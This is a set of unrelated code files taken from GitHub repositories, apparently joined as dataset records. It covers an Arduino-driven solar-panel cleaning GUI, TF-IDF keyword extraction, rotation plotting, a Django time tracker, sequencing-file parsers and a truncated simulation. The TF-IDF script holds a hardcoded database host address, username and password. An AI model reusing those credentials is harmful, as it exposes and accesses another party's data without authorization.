10 bold\")\n combo['values'] = lst\n combo.place(relx=0.42, rely=0.35)\n l_8 = Label(roote, text='Автоматическое движение ВПРАВО', fg='green4', font=\"Helvetica 12 bold\")\n l_8.place(relx=0.30, rely=0.45)\n l_9 = Label(roote, text='С какой даты начать:', fg='black', font=\"Helvetica 10 bold\")\n l_9.place(relx=0.01, rely=0.53)\n t9 = Entry(roote, width=11, font=\"Helvetica 10 bold\", bg=\"tan2\", fg=\"green\")\n t9.place(relx=0.27, rely=0.53)\n l_10 = Label(roote, text='С какого времени:', fg='black', font=\"Helvetica 10 bold\")\n l_10.place(relx=0.42, rely=0.53)\n t10 = Entry(roote, width=11, font=\"Helvetica 10 bold\", bg=\"tan2\", fg=\"green\")\n t10.place(relx=0.65, rely=0.53)\n l_11 = Label(roote, text='Переодичность:', fg='black', font=\"Helvetica 10 bold\")\n l_11.place(relx=0.42, rely=0.60)\n t21 = Text(roote, width=5, height=1, font=\"Helvetica 10 bold\", bg=\"pink3\", fg=\"green\")\n t21.place(relx=0.75, rely=0.60)\n l_22 = Label(roote, text='мин', fg='black', font=\"Helvetica 10 bold\")\n l_22.place(relx=0.80, rely=0.60)\n t23 = Text(roote, width=5, height=1, font=\"Helvetica 10 bold\", bg=\"pink3\", fg=\"green\")\n t23.place(relx=0.85, rely=0.60)\n l_24 = Label(roote, text='сек', fg='black', font=\"Helvetica 10 bold\")\n l_24.place(relx=0.9, rely=0.60)\n l_12 = Label(roote, text='Автоматическое движение ВЛЕВО', fg='green4', font=\"Helvetica 12 bold\")\n l_12.place(relx=0.30, rely=0.70)\n l_13 = Label(roote, text='С какой даты начать:', fg='black', font=\"Helvetica 10 bold\")\n l_13.place(relx=0.01, rely=0.78)\n t14 = Entry(roote, width=11, font=\"Helvetica 10 bold\", bg=\"tan2\", fg=\"green\")\n t14.place(relx=0.27, rely=0.78)\n l_15 = Label(roote, text='С какого времени:', fg='black', font=\"Helvetica 10 bold\")\n l_15.place(relx=0.42, rely=0.78)\n t16 = Entry(roote, width=11, font=\"Helvetica 10 bold\", bg=\"tan2\", fg=\"green\")\n t16.place(relx=0.65, rely=0.78)\n l_17 = Label(roote, text='Переодичность ВЛЕВО:', fg='black', font=\"Helvetica 10 bold\")\n l_17.place(relx=0.42, rely=0.85)\n t25 = Text(roote, width=5, height=1, font=\"Helvetica 10 bold\", bg=\"pink3\", fg=\"green\")\n t25.place(relx=0.75, rely=0.85)\n l_26 = Label(roote, text='мин', fg='black', font=\"Helvetica 10 bold\")\n l_26.place(relx=0.80, rely=0.85)\n t27 = Text(roote, width=5, height=1, font=\"Helvetica 10 bold\", bg=\"pink3\", fg=\"green\")\n t27.place(relx=0.85, rely=0.85)\n l_28 = Label(roote, text='сек', fg='black', font=\"Helvetica 10 bold\")\n l_28.place(relx=0.9, rely=0.85)\n\n Save_1 = Button(roote, width=10, text='Сохранить', bg='gold', fg='green', font=2, command=save_in_txt)\n Save_1.place(relx=0.82, rely=0.02)\n\n read_parametrs()\n roote.mainloop()\n\ndef function_2():\n x = 0\n while True:\n t.delete(1.0, END)\n S = str(datetime.now())[0:19]\n t.insert(1.0, S)\n sleep(1)\n x = x + 1\n\ndef rut_2():\n t1 = Thread(target=function_2, daemon=True)\n t1.start()\n\ndef rut_3():\n pot2 = Thread(target=avtomat, daemon=True)\n pot2.start()\n\ndef light_button_ON_potok():\n pot3 = Thread(target=light_button_ON, daemon=True)\n pot3.start()\n\n\ndef water_button_ON_potok():\n pot4 = Thread(target=water_button_ON, daemon=True)\n pot4.start()\n\ndef light_button_ON():\n file = open('./config_tech.txt', 'r', encoding='utf8')\n a = file.read()\n x = re.findall(r'\\d+', a)\n a_time = int(x[0])\n board.digital[7].write(1)\n sleep(a_time)\n board.digital[7].write(0)\n\ndef light_button_OFF():\n board.digital[7].write(0)\n\n\ndef water_button_ON():\n file = open('./config_tech.txt', 'r', encoding='utf8')\n a = file.read()\n x = re.findall(r'\\d+', a)\n a_time = int(x[1])\n board.digital[5].write(1)\n sleep(a_time)\n board.digital[5].write(0)\n\ndef water_button_OFF():\n board.digital[5].write(0)\n\n'''_____________________________Потоки на автоматическое включение/отключение____________________________________'''\ndef light_button_ON_a():\n file = open('./config_tech.txt', 'r', encoding='utf8')\n a = file.read()\n x = re.findall(r'\\d+', a)\n a_time = int(x[7])\n board.digital[7].write(1)\n sleep(a_time)\n board.digital[7].write(0)\n\ndef light_button_OFF_a():\n board.digital[7].write(0)\n\n\ndef water_button_ON_a():\n file = open('./config_tech.txt', 'r', encoding='utf8')\n a = file.read()\n x = re.findall(r'\\d+', a)\n a_time = int(x[13])\n board.digital[5].write(1)\n sleep(a_time)\n board.digital[5].write(0)\n\ndef water_button_OFF_a():\n board.digital[5].write(0)\n\ndef rut_4():\n pot2 = Thread(target=water_button_ON_a, daemon=True)\n pot2.start()\n\ndef rut_5():\n pot2 = Thread(target=light_button_ON_a, daemon=True)\n pot2.start()\n'''_____________________________Потоки на автоматическое включение/отключение____________________________________'''\n\n\n\n'________________________________________________________Кнопка для полива растений'\nWater_1 = Button(root, width=10, text='ВЛЕВО', bg='yellow', font=12, command=water_button_ON_potok)\nWater_1.place(relx=0.02, rely=0.05)\n'________________________________________________________Кнопка для полива растений'\n\n\n'________________________________________________________Кнопка для включения света'\nSvet_1 = Button(root, width=10, text='ВПРАВО', bg='yellow2', font=12, command=light_button_ON_potok)\nSvet_1.place(relx=0.02, rely=0.15)\n'________________________________________________________Кнопка для включения света'\n\n\n'________________________________________________________Кнопка для не полива растений'\nWater_1 = Button(root, width=12, text='Откл. ВЛЕВО', bg='orange red', font=12, command=water_button_OFF)\nWater_1.place(relx=0.15, rely=0.05)\n'________________________________________________________Кнопка для не полива растений'\n\n\n'________________________________________________________Кнопка для выключения света'\nSvet_2 = Button(root, width=12, text='Откл. ВПРАВО', bg='tomato', font=12, command=light_button_OFF)\nSvet_2.place(relx=0.15, rely=0.15)\n'________________________________________________________Кнопка для выключения света'\n\n\n'________________________________________________________Кнопка настройки'\nWater_1 = Button(root, width=10, text='Настройки', bg='tan1', fg='green4', font=2, command=settings_1)\nWater_1.place(relx=0.85, rely=0.9)\n'________________________________________________________Кнопка настройки'\n\n\nt = Text(root, width=18, height=1, font=\"Helvetica 15 bold\", bg=\"tan2\", fg=\"green\", cursor='watch')\nt.place(relx=0.01, rely=0.93)\n\nrut_2()\nrut_3()\n\nroot.mainloop()\n\n\n\n\n", "repo_name": "denisamirov/solar_clean_system_scripts", "sub_path": "python_code/solar_panels_clean_system_python.pyw", "file_name": "solar_panels_clean_system_python.pyw", "file_ext": "pyw", "file_size_in_byte": 14953, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "pyfirmata.Arduino", "line_number": 15, "usage_type": "call"}, {"api_name": "re.findall", "line_number": 49, "usage_type": "call"}, {"api_name": "re.findall", "line_number": 50, "usage_type": "call"}, {"api_name": "re.findall", "line_number": 51, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 55, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 59, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 59, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 60, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 60, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 63, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 82, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 82, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 83, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 83, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 86, "usage_type": "call"}, {"api_name": "re.findall", "line_number": 121, "usage_type": "call"}, {"api_name": "re.findall", "line_number": 122, "usage_type": "call"}, {"api_name": "re.findall", "line_number": 123, "usage_type": "call"}, {"api_name": "tkinter.ttk.Combobox", "line_number": 224, "usage_type": "call"}, {"api_name": "tkinter.ttk", "line_number": 224, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 278, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 278, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 280, "usage_type": "call"}, {"api_name": "threading.Thread", "line_number": 284, "usage_type": "call"}, {"api_name": "threading.Thread", "line_number": 288, "usage_type": "call"}, {"api_name": "threading.Thread", "line_number": 292, "usage_type": "call"}, {"api_name": "threading.Thread", "line_number": 297, "usage_type": "call"}, {"api_name": "re.findall", "line_number": 303, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 306, "usage_type": "call"}, {"api_name": "re.findall", "line_number": 316, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 319, "usage_type": "call"}, {"api_name": "re.findall", "line_number": 329, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 332, "usage_type": "call"}, {"api_name": "re.findall", "line_number": 342, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 345, "usage_type": "call"}, {"api_name": "threading.Thread", "line_number": 352, "usage_type": "call"}, {"api_name": "threading.Thread", "line_number": 356, "usage_type": "call"}]} {"seq_id": "70841560551", "text": "#!/opt/anaconda3/bin/python\n# -*- coding: UTF-8 -*-\n\"\"\"\n@Author: njuselhx\n@Time: 2021/1/18 下午8:34\n@File: compute.py\n@Software: PyCharm\n\"\"\"\nimport math\n\nimport jieba\nimport pymongo\n\n\ndef tokenize(data):\n words = jieba.cut(data)\n word_list = []\n for word in words:\n word_list.append(word)\n return word_list\n\n\ndef compute_frequency(word_list):\n frequency_dict = {}\n for word in word_list:\n if frequency_dict.get(word) is None:\n frequency_dict[word] = 1\n else:\n frequency_dict[word] = frequency_dict[word] + 1\n # print(frequency_dict)\n for key in frequency_dict.keys():\n frequency_dict[key] = frequency_dict[key] / len(word_list)\n # print(frequency_dict)\n return frequency_dict\n\n\ndef connect_db():\n client = pymongo.MongoClient(host='124.70.84.12', port=27017, username=\"pkun\", password=\"lcyyds\")\n # 在此修改要连接的集合和要获取的文档\n collection = client['dataScience'].get_collection('stage4')\n documents = collection.find({})\n doc_content_list = []\n for document in documents:\n doc_content_list.append(document['content'])\n # 返回的列表里都是字符串\n return doc_content_list\n\n\ndef select_top_words(frequency_dict, top_n):\n # print(sorted(frequency_dict.items(), key=lambda x: x[1], reverse=True))\n word_frequency_list = sorted(frequency_dict.items(), key=lambda x: x[1], reverse=True)\n res = []\n ii = 0\n for word_frequency in word_frequency_list:\n res.append(word_frequency)\n ii = ii + 1\n if ii == top_n:\n break\n return res\n\n\ndef compute_idf(all_top_words_list_arg, content_list_arg):\n idf_dict_arg = {}\n for top_word in all_top_words_list_arg:\n if top_word[0] not in idf_dict_arg.keys():\n idf_dict_arg[top_word[0]] = 0\n for content_arg in content_list_arg:\n if top_word[0] in content_arg:\n idf_dict_arg[top_word[0]] = idf_dict_arg[top_word[0]] + 1\n for key in idf_dict_arg.keys():\n idf_dict_arg[key] = math.log10(len(content_list_arg) / idf_dict_arg[key])\n return idf_dict_arg\n\n\ndef filtrate(words_list):\n res = []\n for word in words_list:\n if len(word) < 2 or word.isdigit():\n continue\n res.append(word)\n return res\n\n\ndef multiply_tf_idf(tf_list, idf_dict_arg):\n res = {}\n for word_frequency in tf_list:\n res[word_frequency[0]] = word_frequency[1] * idf_dict_arg[word_frequency[0]]\n res = sorted(res.items(), key=lambda x: x[1], reverse=True)\n return res\n\n\ndef save_file(words_list):\n with open('keyword/stage4.txt', 'w', encoding='utf-8') as f:\n for word in words_list:\n f.write(word + '\\n')\n f.flush()\n\n\nif __name__ == '__main__':\n content_list = connect_db()\n all_top_words_list = []\n for content in content_list:\n content_frequency_dict = compute_frequency(tokenize(content))\n top_words_list = select_top_words(content_frequency_dict, 20)\n # print(top_words_list)\n for i in range(0, len(top_words_list)):\n is_found = False\n save_j = -1\n for j in range(0, len(all_top_words_list)):\n if top_words_list[i][0] == all_top_words_list[j][0]:\n is_found = True\n save_j = j\n break\n if not is_found:\n all_top_words_list.append(top_words_list[i])\n elif top_words_list[i][1] > all_top_words_list[save_j][1]:\n del all_top_words_list[save_j]\n all_top_words_list.append(top_words_list[i])\n # print(len(all_top_words_list))\n # print(all_top_words_list)\n idf_dict = compute_idf(all_top_words_list, content_list)\n # print(idf_dict)\n keywords = multiply_tf_idf(all_top_words_list, idf_dict)\n # print(keywords)\n pure_keywords = []\n for keyword in keywords:\n pure_keywords.append(keyword[0])\n pure_keywords = filtrate(pure_keywords)\n # print(pure_keywords)\n save_file(pure_keywords)\n", "repo_name": "FertileFragrance/data_not_scientific", "sub_path": "tf-idf/compute.py", "file_name": "compute.py", "file_ext": "py", "file_size_in_byte": 4058, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 5, "dataset": "github-code", "pt": "71", "api": [{"api_name": "jieba.cut", "line_number": 16, "usage_type": "call"}, {"api_name": "pymongo.MongoClient", "line_number": 38, "usage_type": "call"}, {"api_name": "math.log10", "line_number": 71, "usage_type": "call"}]} {"seq_id": "18970086427", "text": "import os\nimport numpy as np\nfrom scipy.spatial.transform import Rotation as R\nimport matplotlib.pyplot as plt\nfrom pytransform3d.plot_utils import plot_vector\n\ndef fix_transformation(transformation):\n fixed_transformation = np.zeros((4,4))\n fixed_transformation[3,3] = 1\n q = R.from_matrix(transformation[:3, :3]).as_quat()\n q_mag = np.linalg.norm(q)\n q = q/q_mag\n fixed_rot_mat = R.from_quat(q).as_matrix()\n fixed_transformation[:3, :3] = fixed_rot_mat\n return fixed_transformation\n\ndef get_quat_from_matrix(transformation):\n rot_mat = np.zeros((3,3))\n rot_mat = transformation[:3, :3]\n q = R.from_matrix(rot_mat).as_quat()\n q_mag = np.linalg.norm(q)\n q = q/q_mag\n return q\n\ndef get_observations(class_id):\n path = \"/home/daniel/iiwa_ws/src/handover_orientation_analysis/observations\"\n root, dirs, _ = next(os.walk(path))\n for dir in dirs:\n if dir == class_id:\n _, _, files = next(os.walk(os.path.join(root,dir)))\n number_of_files = len(files)\n observations = np.zeros((number_of_files, 4))\n for i in range(0, number_of_files):\n transformation = np.load(os.path.join(root,dir,files[i]))\n fixed_transformation = fix_transformation(transformation)\n observations[i, :] = get_quat_from_matrix(fixed_transformation)\n return observations\n\ndef rotate_frame(rotation):\n #print(\"===ROTATION===\\n\",rotation)\n rot_mat = R.from_quat(rotation).as_matrix()\n #print(\"===ROTATION MAT===\\n\", rot_mat)\n unit_frame = np.eye(3)\n #print(\"===UNIT FRAME===\\n\",unit_frame)\n rotated_frame = np.matmul(unit_frame, rot_mat)\n #print(\"===ROTATED FRAME===\\n\", rotated_frame)\n return rotated_frame\n\ndef get_classes():\n path = \"/home/daniel/iiwa_ws/src/handover_orientation_analysis/observations\"\n root, dirs, _ = next(os.walk(path))\n return dirs\n\ndef plot(ax, vector, col):\n origin = np.array([0.0, 0.0, 0.0])\n dir = np.reshape(vector, 3)\n ax = plot_vector(ax, start = origin, direction = dir, color=col)\n return ax\n\n\nif __name__ == '__main__':\n\n classes = get_classes()\n print(\"===CLASSES===\\n\", classes)\n\n for class_id in classes:\n observations = get_observations(class_id)\n\n figs = [None, None, None]\n ax = [None, None, None]\n axis_limits = range(-1,1)\n for i in range(3):\n if i == 0:\n axis = 'x'\n elif i == 1:\n axis = 'y'\n else:\n axis = 'z'\n plot_title = class_id + \"\\nOriented \" + axis + \" axes\"\n figs[i] = plt.figure()\n ax[i] = figs[i].add_subplot(projection=\"3d\")\n ax[i].set_title(plot_title, fontsize = 20)\n ax[i].set_xlim(-1, 1)\n ax[i].set_ylim(-1, 1)\n ax[i].set_zlim(-1, 1)\n ax[i].set_xticklabels([])\n ax[i].set_yticklabels([])\n ax[i].set_zticklabels([])\n\n for i in range(len(observations)):\n rotated_frame = rotate_frame(observations[i])\n ax[0] = plot(ax[0], rotated_frame[:, 0], \"red\")\n ax[1] = plot(ax[1], rotated_frame[:, 1], \"green\")\n ax[2] = plot(ax[2], rotated_frame[:, 2], \"blue\")\n\n filename = \"/home/daniel/iiwa_ws/src/ROB10/mean_handover_orientation/axes/\" + class_id + \"_x.pdf\"\n figs[0].savefig(filename, bbox_inches = 'tight', pad_inches = 0)\n filename = \"/home/daniel/iiwa_ws/src/ROB10/mean_handover_orientation/axes/\" + class_id + \"_y.pdf\"\n figs[1].savefig(filename, bbox_inches = 'tight', pad_inches = 0)\n filename = \"/home/daniel/iiwa_ws/src/ROB10/mean_handover_orientation/axes/\" + class_id + \"_z.pdf\"\n figs[2].savefig(filename, bbox_inches = 'tight', pad_inches = 0)\n plt.show()\n", "repo_name": "daniellehot/handover_orientation_analysis", "sub_path": "visual_analysis.py", "file_name": "visual_analysis.py", "file_ext": "py", "file_size_in_byte": 3805, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "numpy.zeros", "line_number": 8, "usage_type": "call"}, {"api_name": "scipy.spatial.transform.Rotation.from_matrix", "line_number": 10, "usage_type": "call"}, {"api_name": "scipy.spatial.transform.Rotation", "line_number": 10, "usage_type": "name"}, {"api_name": "numpy.linalg.norm", "line_number": 11, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 11, "usage_type": "attribute"}, {"api_name": "scipy.spatial.transform.Rotation.from_quat", "line_number": 13, "usage_type": "call"}, {"api_name": "scipy.spatial.transform.Rotation", "line_number": 13, "usage_type": "name"}, {"api_name": "numpy.zeros", "line_number": 18, "usage_type": "call"}, {"api_name": "scipy.spatial.transform.Rotation.from_matrix", "line_number": 20, "usage_type": "call"}, {"api_name": "scipy.spatial.transform.Rotation", "line_number": 20, "usage_type": "name"}, {"api_name": "numpy.linalg.norm", "line_number": 21, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 21, "usage_type": "attribute"}, {"api_name": "os.walk", "line_number": 27, "usage_type": "call"}, {"api_name": "os.walk", "line_number": 30, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 30, "usage_type": "call"}, {"api_name": "os.path", "line_number": 30, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 32, "usage_type": "call"}, {"api_name": "numpy.load", "line_number": 34, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 34, "usage_type": "call"}, {"api_name": "os.path", "line_number": 34, "usage_type": "attribute"}, {"api_name": "scipy.spatial.transform.Rotation.from_quat", "line_number": 41, "usage_type": "call"}, {"api_name": "scipy.spatial.transform.Rotation", "line_number": 41, "usage_type": "name"}, {"api_name": "numpy.eye", "line_number": 43, "usage_type": "call"}, {"api_name": "numpy.matmul", "line_number": 45, "usage_type": "call"}, {"api_name": "os.walk", "line_number": 51, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 55, "usage_type": "call"}, {"api_name": "numpy.reshape", "line_number": 56, "usage_type": "call"}, {"api_name": "pytransform3d.plot_utils.plot_vector", "line_number": 57, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 80, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 80, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 102, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 102, "usage_type": "name"}]} {"seq_id": "13549717413", "text": "import datetime\n\nfrom django.db import models\nfrom django.utils import timezone\n\n\nclass Session(models.Model):\n day = models.DateField(default=timezone.now)\n duration = models.TimeField(default=datetime.time)\n error = models.BooleanField(default=False)\n\n def calculate_duration(self):\n start_time = None\n duration = 0\n self.error = False\n events = self.events.all().order_by('timestamp')\n for count, event in enumerate(events):\n if count % 2 == 0 and not event.working or count % 2 == 1 and event.working:\n self.error = True\n\n if not start_time:\n if event.working:\n start_time = event.timestamp\n elif start_time:\n if not event.working:\n if event.is_lunch_time() or event == events.last():\n duration += (event.timestamp - start_time).total_seconds()\n start_time = None\n self.duration = datetime.datetime.fromtimestamp(int(duration), timezone.utc).time()\n self.save()\n\n def __str__(self):\n return str(self.duration)\n\n\nclass Event(models.Model):\n session = models.ForeignKey(Session, models.CASCADE, related_name='events')\n timestamp = models.DateTimeField(default=timezone.now, db_index=True)\n working = models.BooleanField(default=True)\n\n def save(self, *args, **kwargs):\n super().save(*args, **kwargs)\n self.session.calculate_duration()\n\n def is_lunch_time(self):\n start_range = datetime.datetime(self.timestamp.year,\n self.timestamp.month,\n self.timestamp.day,\n 11, 30, 0, 0, tzinfo=self.timestamp.tzinfo)\n end_range = datetime.datetime(self.timestamp.year,\n self.timestamp.month,\n self.timestamp.day,\n 13, 00, 0, 0, tzinfo=self.timestamp.tzinfo)\n return start_range < self.timestamp <= end_range\n\n def __str__(self):\n if self.working:\n return f'Login at {str(self.timestamp.time())}'\n return f'Logout at {str(self.timestamp.time())}'\n", "repo_name": "shifty11/timetracker", "sub_path": "tracker/models.py", "file_name": "models.py", "file_ext": "py", "file_size_in_byte": 2275, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "django.db.models.Model", "line_number": 7, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 7, "usage_type": "name"}, {"api_name": "django.db.models.DateField", "line_number": 8, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 8, "usage_type": "name"}, {"api_name": "django.utils.timezone.now", "line_number": 8, "usage_type": "attribute"}, {"api_name": "django.utils.timezone", "line_number": 8, "usage_type": "name"}, {"api_name": "django.db.models.TimeField", "line_number": 9, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 9, "usage_type": "name"}, {"api_name": "datetime.time", "line_number": 9, "usage_type": "attribute"}, {"api_name": "django.db.models.BooleanField", "line_number": 10, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 10, "usage_type": "name"}, {"api_name": "datetime.datetime.fromtimestamp", "line_number": 29, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 29, "usage_type": "attribute"}, {"api_name": "django.utils.timezone.utc", "line_number": 29, "usage_type": "attribute"}, {"api_name": "django.utils.timezone", "line_number": 29, "usage_type": "name"}, {"api_name": "django.db.models.Model", "line_number": 36, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 36, "usage_type": "name"}, {"api_name": "django.db.models.ForeignKey", "line_number": 37, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 37, "usage_type": "name"}, {"api_name": "django.db.models.CASCADE", "line_number": 37, "usage_type": "attribute"}, {"api_name": "django.db.models.DateTimeField", "line_number": 38, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 38, "usage_type": "name"}, {"api_name": "django.utils.timezone.now", "line_number": 38, "usage_type": "attribute"}, {"api_name": "django.utils.timezone", "line_number": 38, "usage_type": "name"}, {"api_name": "django.db.models.BooleanField", "line_number": 39, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 39, "usage_type": "name"}, {"api_name": "datetime.datetime", "line_number": 46, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 50, "usage_type": "call"}]} {"seq_id": "70265315750", "text": "#####\n#Collection of SAM,BAM,FASTA,FASTQ and MicroRazers parsers\n#####\n#import pysam\nimport re\nimport sys\n\n#sys.path.append('/storage/brno2/home/ivogel/.local/lib/python2.7/site-packages')\n#sys.path.append('/storage/brno2/home/ivogel/.local/lib/python2.7/site-packages')\n\nimport pysam\n\n\ndef parseGenomicID(name):\n if name==\"*\" or name==\"NONTE\": return None\n head=name.split(\"|\")[0]\n return (\"_\".join(head.split(\"_\")[:-1]),head)\n \n\n#stare,pomale\ndef parseGenomicID_(name):\n if name==\"*\" or name==\"NONTE\": return None\n head=name.split(\"|\")\n m=re.match(r\"(?P.+)_[0-9]+\", head[0])\n if m:\n family=m.group(\"family\")\n return (family,head[0])\n\n\n\n\nclass ParseSam(object):\n def __init__(self,filePath):\n self._samfile=pysam.AlignmentFile(filePath,'r')\n\n def __iter__(self):\n return self\n\n\n def next(self):\n elemList=[]\n read=self._samfile.next()\n ref=\"NONTE\"\n if (read.tid != -1):\n ref=self._samfile.getrname(read.tid)\n elemList.append(ref)\n elemList.append(read.query_name)\n elemList.append(read.query_sequence)\n return tuple(elemList)\n\n\n\n\nclass ParseBam(object):\n def __init__(self,filePath):\n self._samfile=pysam.AlignmentFile(filePath,'rb')\n self._currentLineNumber=0\n\n def __iter__(self):\n return self\n\n \n def next(self):\n elemList=[]\n read=self._samfile.next()\n ref=\"NONTE\"\n if (read.tid != -1):\n ref=self._samfile.getrname(read.tid)\n self._currentLineNumber+=1\n elemList.append(ref)\n elemList.append(read.query_name)\n elemList.append(read.query_sequence)\n #print self._currentLineNumber\n return tuple(elemList)\n \n \n\n\n\n'''\nsamfile=pysam.AlignmentFile(sys.argv[1],'r')\nfor read in samfile.fetch():\n if read.tid != -1:\n h=samfile.getrname(read.tid)\n h=h.split(\"|\")\n print h[0]\n #print read.seq\nsamfile.close()\n'''\n\n \n\nclass ParseMicroRazers(object):\n def __init__(self,filePath):\n self._file=open(filePath,'rU')\n self._currentLineNumber=0\n\n def __iter__(self):\n return self\n\n def next(self):\n elemList=[]\n line=self._file.readline()\n self._currentLineNumber +=1\n if line:\n elems=line.strip('\\n').split()\n elemList=(elems[0],elems[4])\n else:\n raise StopIteration\n return elemList\n\nclass ParseFasta(object):\n def __init__(self,filePath):\n self._file = open(filePath, 'rU')\n self._currentLineNumber = 0\n def __iter__(self):\n return self\n\n def next(self):\n # ++++ Get Next Four Lines ++++\n elemList = []\n for i in range(2):\n line = self._file.readline()\n self._currentLineNumber += 1 ## increment file position\n if line:\n elemList.append(line.strip('\\n'))\n else: \n raise StopIteration\n # ++++ Check Lines For Expected Form +++\n return (elemList[0][1:],elemList[1])\n\n\nclass ParseGenomicFasta(ParseFasta):\n def __init__(self,filePath):\n ParseFasta.__init__(self,filePath)\n \n def __iter__(self):\n return self\n \n def next(self):\n t=ParseFasta.next(self)\n head=t[0].split(\"|\")\n sequence=t[1]\n #m=re.match(r\"(?P.+)_[0-9]+\", head[0])\n #family=m.group(\"family\")\n family=parseGenomicID(head[0])\n return tuple([sequence]+[family[0]]+head)\n #return tuple([sequence]+[family[1:]]+ head)\n\n\n\nclass ParsesRNACluster(ParseFasta):\n def __init__(self,filepath):\n ParseFasta.__init__(self,filepath)\n \n def __iter__(self):\n return self\n\n def next(self):\n # ++++ Get Next Four Lines ++++\n elemList = []\n header=self._file.readline()\n self._currentLineNumber += 1\n sequence=self._file.readline()\n self._currentLineNumber += 1\n if header and sequence:\n elemList=elemList+ header.strip('\\n').split(\"|\")\n elemList.append(sequence.strip('\\n'))\n else:\n raise StopIteration\n # ++++ Check Lines For Expected Form +++\n return tuple(elemList)\n \nclass ParseFastQ(object):\n \"\"\"Returns a read-by-read fastQ parser analogous to file.readline()\"\"\"\n def __init__(self,filePath,headerSymbols=['@','+']):\n \"\"\"Returns a read-by-read fastQ parser analogous to file.readline().\n Exmpl: parser.next()\n -OR-\n Its an iterator so you can do:\n for rec in parser:\n ... do something with rec ...\n \n rec is tuple: (seqHeader,seqStr,qualHeader,qualStr)\n \"\"\"\n if filePath.endswith('.gz'):\n self._file = gzip.open(filePath)\n else:\n self._file = open(filePath, 'rU')\n self._currentLineNumber = 0\n self._hdSyms = headerSymbols\n \n def __iter__(self):\n return self\n \n def next(self):\n \"\"\"Reads in next element, parses, and does minimal verification.\n Returns: tuple: (seqHeader,seqStr,qualHeader,qualStr)\"\"\"\n # ++++ Get Next Four Lines ++++\n elemList = []\n for i in range(4):\n line = self._file.readline()\n self._currentLineNumber += 1 ## increment file position\n if line:\n elemList.append(line.strip('\\n'))\n else:\n elemList.append(None)\n \n # ++++ Check Lines For Expected Form ++++\n trues = [bool(x) for x in elemList].count(True)\n nones = elemList.count(None)\n # -- Check for acceptable end of file --\n if nones == 4:\n raise StopIteration\n # -- Make sure we got 4 full lines of data --\n assert trues == 4,\\\n \"** ERROR: It looks like I encountered a premature EOF or empty line.\\n\\\n Please check FastQ file near line number %s (plus or minus ~4 lines) and try again**\" % (self._currentLineNumber)\n # -- Make sure we are in the correct \"register\" --\n assert elemList[0].startswith(self._hdSyms[0]),\\\n \"** ERROR: The 1st line in fastq element does not start with '%s'.\\n\\\n Please check FastQ file near line number %s (plus or minus ~4 lines) and try again**\" % (self._hdSyms[0],self._currentLineNumber)\n assert elemList[2].startswith(self._hdSyms[1]),\\\n \"** ERROR: The 3rd line in fastq element does not start with '%s'.\\n\\\n Please check FastQ file near line number %s (plus or minus ~4 lines) and try again**\" % (self._hdSyms[1],self._currentLineNumber)\n # -- Make sure the seq line and qual line have equal lengths --\n assert len(elemList[1]) == len(elemList[3]), \"** ERROR: The length of Sequence data and Quality data of the last record aren't equal.\\n\\\n Please check FastQ file near line number %s (plus or minus ~4 lines) and try again**\" % (self._currentLineNumber)\n \n # ++++ Return fatsQ data as tuple ++++\n return tuple(elemList)\n\n\n\n\n\n", "repo_name": "puko818/BUT_projects", "sub_path": "TE_HOMOLOGIES/Parsers.py", "file_name": "Parsers.py", "file_ext": "py", "file_size_in_byte": 6738, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "re.match", "line_number": 24, "usage_type": "call"}, {"api_name": "pysam.AlignmentFile", "line_number": 34, "usage_type": "call"}, {"api_name": "pysam.AlignmentFile", "line_number": 56, "usage_type": "call"}]} {"seq_id": "39437785238", "text": "import matplotlib.pyplot as plt\nimport numpy as np\nimport random\n\nN = int(input())\nprint(N)\ntest = 1000\ncount=[0 for i in range(N+1)] # Stores the count of the total occurrences\n\nfor t in range(test):\n X1 = 0\n X2 = 0\n X = [0 for i in range(0,N+1)] # probability of X being there\n for i in range(0,N+1):\n val1 = random.randint(1,2)\n val2 = random.randint(1,2)\n if val1 is 